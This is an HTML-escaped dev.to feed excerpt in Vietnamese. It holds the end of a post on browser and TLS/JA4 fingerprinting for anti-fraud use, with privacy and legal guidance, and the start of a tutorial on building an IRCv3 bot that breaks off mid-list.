  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;signals&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;ua&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userAgent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;langs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;languages&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;,&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="na"&gt;tz&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Intl&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DateTimeFormat&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;resolvedOptions&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;timeZone&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;width&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;x&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;screen&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;height&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;@&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;devicePixelRatio&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;cores&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;navigator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hardwareConcurrency&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;canvas&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;canvasSignal&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt;
    &lt;span class="na"&gt;webgl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;webglSignal&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="nx"&gt;signals&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;getFingerprint&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;table&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;signals&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mở Chrome thường rồi mở Incognito, chạy lại: bạn sẽ thấy &lt;code&gt;id&lt;/code&gt; y hệt nhau. Đó chính là lý do người ta nói fingerprint là cookie mới, chỉ khác là user không xóa được.&lt;/p&gt;

&lt;p&gt;Thử trên Firefox với &lt;code&gt;privacy.resistFingerprinting = true&lt;/code&gt; trong &lt;code&gt;about:config&lt;/code&gt;, hoặc trên Brave/Tor Browser: canvas sẽ bị thêm noise hoặc trả về dữ liệu chuẩn hóa, timezone thành UTC, screen size bị làm tròn. ID sẽ đổi mỗi session hoặc trùng với hàng nghìn người khác.&lt;/p&gt;

&lt;h2&gt;
  
  
  Phía server: passive fingerprint không cần JavaScript
&lt;/h2&gt;

&lt;p&gt;Nhiều bot dùng headless browser nên JS fingerprint có thể bị giả. Server-side fingerprint khó giả hơn vì nó nằm ở tầng network. Ví dụ đơn giản với FastAPI 0.115, gom các header và thứ tự của chúng:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;SIGNAL_HEADERS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;accept&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;accept-language&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;accept-encoding&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sec-ch-ua&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sec-ch-ua-platform&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sec-fetch-site&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nd"&gt;@app.middleware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;passive_fp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;call_next&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Thứ tự header raw là tín hiệu rất mạnh: curl, requests, Chrome đều khác nhau
&lt;/span&gt;    &lt;span class="n"&gt;order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;scope&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;headers&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;values&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;SIGNAL_HEADERS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;ja4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;x-ja4&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# do reverse proxy gắn vào
&lt;/span&gt;
    &lt;span class="n"&gt;raw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;#&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;values&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;#&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ja4&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()[:&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;# Chrome thật luôn gửi sec-ch-ua; UA nói là Chrome mà thiếu thì đáng nghi
&lt;/span&gt;    &lt;span class="n"&gt;ua&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user-agent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;suspicious&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Chrome/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ua&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sec-ch-ua&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;call_next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/whoami&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;whoami&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;fp&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;suspicious&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;suspicious&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Test nhanh bằng curl để thấy sự khác biệt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# curl giả UA Chrome nhưng thiếu client hints -&amp;gt; suspicious = true&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'User-Agent: Mozilla/5.0 (Windows NT 10.0) Chrome/129.0 Safari/537.36'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://localhost:8000/whoami

&lt;span class="c"&gt;# Xem TLS fingerprint của chính bạn (cần curl 8.x)&lt;/span&gt;
curl &lt;span class="nt"&gt;-sv&lt;/span&gt; https://localhost:8443 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'TLS|ALPN'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;JA4 (bản kế nhiệm JA3, do FoxIO công bố năm 2023) hash các thông tin trong TLS ClientHello như cipher suites, extensions, ALPN. Python &lt;code&gt;requests&lt;/code&gt; có JA4 khác hẳn Chrome, nên dù bot có giả User-Agent hoàn hảo thì tầng TLS vẫn lộ. Nginx có module, HAProxy 3.x và nhiều CDN đã hỗ trợ tính JA4 rồi gắn vào header cho backend.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant C as Client
    participant P as Reverse Proxy
    participant A as App
    participant R as Risk Engine
    C-&amp;gt;&amp;gt;P: TLS ClientHello
    P-&amp;gt;&amp;gt;P: Tính JA4
    C-&amp;gt;&amp;gt;P: HTTP request + headers
    P-&amp;gt;&amp;gt;A: Forward + x-ja4
    A-&amp;gt;&amp;gt;R: fp + JS fingerprint + IP
    R--&amp;gt;&amp;gt;A: score (allow / challenge / block)
    A--&amp;gt;&amp;gt;C: Response hoặc CAPTCHA&lt;/code&gt;&lt;/pre&gt;



&lt;h2&gt;
  
  
  Dùng đúng chỗ: fraud, không phải tracking
&lt;/h2&gt;

&lt;p&gt;Đây là phần dev hay bỏ qua. Ở Việt Nam, &lt;strong&gt;Nghị định 13/2023/NĐ-CP&lt;/strong&gt; về bảo vệ dữ liệu cá nhân đã có hiệu lực, và Luật Bảo vệ dữ liệu cá nhân 2025 tiếp tục siết chặt hơn. Ở EU thì GDPR và ePrivacy Directive coi fingerprinting là xử lý dữ liệu cá nhân, cần consent giống hệt cookie. Nếu sản phẩm của bạn có user châu Âu thì đừng nghĩ fingerprint là cách lách cookie banner.&lt;/p&gt;

&lt;p&gt;Vài nguyên tắc mình áp dụng:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Purpose limitation&lt;/strong&gt;: chỉ dùng fingerprint ở các flow nhạy cảm như login, checkout, đổi mật khẩu, tạo tài khoản hàng loạt. Không gửi sang analytics hay ad network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fingerprint là tín hiệu, không phải danh tính&lt;/strong&gt;: dùng như một input cho risk score. Fingerprint mới + IP lạ + đăng nhập lúc 3h sáng thì mới bật 2FA challenge, đừng block cứng chỉ vì fingerprint đổi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retention ngắn&lt;/strong&gt;: lưu hash, đặt TTL 30-90 ngày, không lưu raw canvas data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit SDK bên thứ ba&lt;/strong&gt;: mở DevTools, tab Network/Sources, search &lt;code&gt;toDataURL&lt;/code&gt;, &lt;code&gt;getImageData&lt;/code&gt;, &lt;code&gt;UNMASKED_RENDERER&lt;/code&gt;, &lt;code&gt;OfflineAudioContext&lt;/code&gt;. Nhiều SDK chat, analytics, A/B testing đang fingerprint user mà team không biết.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Đừng phạt user quan tâm privacy&lt;/strong&gt;: người dùng Brave, Firefox RFP, Safari sẽ có fingerprint thay đổi liên tục. Nếu hệ thống coi đó là bot thì bạn đang chặn nhầm chính những user cẩn thận nhất.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Cookie đang chết dần, fingerprinting đang lên, và nó vô hình với user hơn nhiều. Là developer, bạn nên:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hiểu cơ chế&lt;/strong&gt;: chạy đoạn JS ở trên trên vài trình duyệt khác nhau, so sánh kết quả để thấy tận mắt độ ổn định của từng tín hiệu.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kết hợp nhiều tầng&lt;/strong&gt;: JS fingerprint dễ giả, header và JA4 ở tầng network khó giả hơn. Dùng cả hai cho bài toán chống bot.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit code và SDK&lt;/strong&gt;: grep codebase và bundle production tìm các API canvas, WebGL, audio. Biết chính xác ai đang thu thập gì.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tuân thủ pháp lý&lt;/strong&gt;: coi fingerprint là dữ liệu cá nhân, ghi rõ trong privacy policy, xin consent khi cần, đặt TTL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test với trình duyệt privacy-focused&lt;/strong&gt;: đảm bảo Firefox RFP, Brave, Safari không bị hệ thống chống fraud của bạn chặn nhầm.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fingerprinting là con dao hai lưỡi. Dùng để chặn credential stuffing thì rất hiệu quả, còn dùng để theo dõi user khắp nơi thì sớm muộn cũng bị trình duyệt chặn, bị luật phạt, và mất niềm tin của user.&lt;/p&gt;

</description>
      <category>privacy</category>
      <category>security</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>IRCv3 in Practice: Build a Modern IRC Bot with Capability Negotiation, SASL and Message Tags in Python</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Mon, 12 Oct 2026 00:22:19 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/ircv3-in-practice-build-a-modern-irc-bot-with-capability-negotiation-sasl-and-message-tags-in-1d3h</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/ircv3-in-practice-build-a-modern-irc-bot-with-capability-negotiation-sasl-and-message-tags-in-1d3h</guid>
      <description>&lt;p&gt;Hôm nay IRCv3 lên top Hacker News với hơn 300 điểm. Nhiều người nghĩ IRC là giao thức của thập niên 90 và đã "chết" từ khi có Slack hay Discord. Thực tế thì cộng đồng open source vẫn dùng IRC rất nhiều: Libera.Chat, OFTC, các kênh của Debian, Arch, Python... Điều ít người biết là IRC đã được "hiện đại hóa" khá kỹ qua bộ spec &lt;strong&gt;IRCv3&lt;/strong&gt;. Nó có message tags, timestamp từ phía server, SASL authentication, chat history, và không làm mất backward compatibility với các client cũ.&lt;/p&gt;

&lt;p&gt;Mình từng viết bot IRC kiểu cũ: mở socket, gửi &lt;code&gt;NICK&lt;/code&gt;/&lt;code&gt;USER&lt;/code&gt;, rồi parse bằng regex. Bot chạy được, nhưng gặp đủ chuyện: identify với NickServ bị race condition, log sai giờ vì dùng giờ local, không phân biệt được tin nhắn do chính mình gửi. IRCv3 giải quyết gọn mấy vấn đề này. Bài này mình sẽ đi từ raw protocol tới một bot Python asyncio khoảng 60 dòng, không dùng thư viện ngoài.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. IRCv3 là gì, và vì sao đáng học
&lt;/h2&gt;

&lt;p&gt;IRCv3 không phải giao thức mới. Nó là một tập &lt;strong&gt;extension&lt;/strong&gt; gắn thêm lên RFC 1459/2812. Cơ chế cốt lõi là &lt;strong&gt;capability negotiation&lt;/strong&gt; (&lt;code&gt;CAP&lt;/code&gt;): client hỏi server hỗ trợ những gì, chỉ bật thứ nó cần, và server cũ không hiểu &lt;code&gt;CAP&lt;/code&gt; thì vẫn chạy như bình thường.&lt;/p&gt;

&lt;p&gt;Mấy capability mình thấy đáng dùng nhất:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sasl&lt;/code&gt;: xác thực &lt;strong&gt;trước khi&lt;/strong&gt; đăng ký xong, nên không còn cảnh join kênh trước rồi mới identify.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;server-time&lt;/code&gt;: mỗi message kèm tag &lt;code&gt;time=2026-10-12T03:15:00.000Z&lt;/code&gt;, ở chuẩn UTC. Rất cần khi ghi log.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;message-tags&lt;/code&gt;: metadata dạng key-value ở đầu message, là nền cho reply, reaction, msgid.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;echo-message&lt;/code&gt;: server gửi lại message của chính mình, nhờ vậy bạn biết message đã thực sự được gửi đi.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;batch&lt;/code&gt; và &lt;code&gt;chathistory&lt;/code&gt;: gom nhiều message thành một nhóm, lấy lại lịch sử chat.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bài học rộng hơn ở đây là cách thiết kế protocol: &lt;strong&gt;thêm tính năng mới qua negotiation, đừng bump version rồi làm hỏng client cũ&lt;/strong&gt;. Pattern này cũng áp dụng được khi bạn thiết kế API nội bộ hay WebSocket protocol.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Xem tận mắt quá trình negotiation
&lt;/h2&gt;

&lt;p&gt;Trước khi viết code, nên nói chuyện trực tiếp với server một lần. Dùng &lt;code&gt;openssl&lt;/code&gt; (bản 3.x có sẵn trên macOS/Linux):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Kết nối TLS tới Libera.Chat, port 6697&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; irc.libera.chat:6697 &lt;span class="nt"&gt;-quiet&lt;/span&gt;

&lt;span class="c"&gt;# Gõ tay từng dòng sau khi kết nối:&lt;/span&gt;
CAP LS 302
NICK vn_dev_test
USER vn_dev_test 0 &lt;span class="k"&gt;*&lt;/span&gt; :Test

&lt;span class="c"&gt;# Server trả về dạng:&lt;/span&gt;
&lt;span class="c"&gt;# :server CAP * LS :account-notify away-notify batch chghost echo-message&lt;/span&gt;
&lt;span class="c"&gt;#   extended-join invite-notify message-tags multi-prefix sasl=PLAIN,EXTERNAL&lt;/span&gt;
&lt;span class="c"&gt;#   server-time ...&lt;/span&gt;

CAP REQ :server-time message-tags
&lt;span class="c"&gt;# :server CAP vn_dev_test ACK :server-time message-tags&lt;/span&gt;

CAP END
&lt;span class="c"&gt;# Lúc này server mới gửi 001 Welcome&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Có vài điểm cần để ý:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
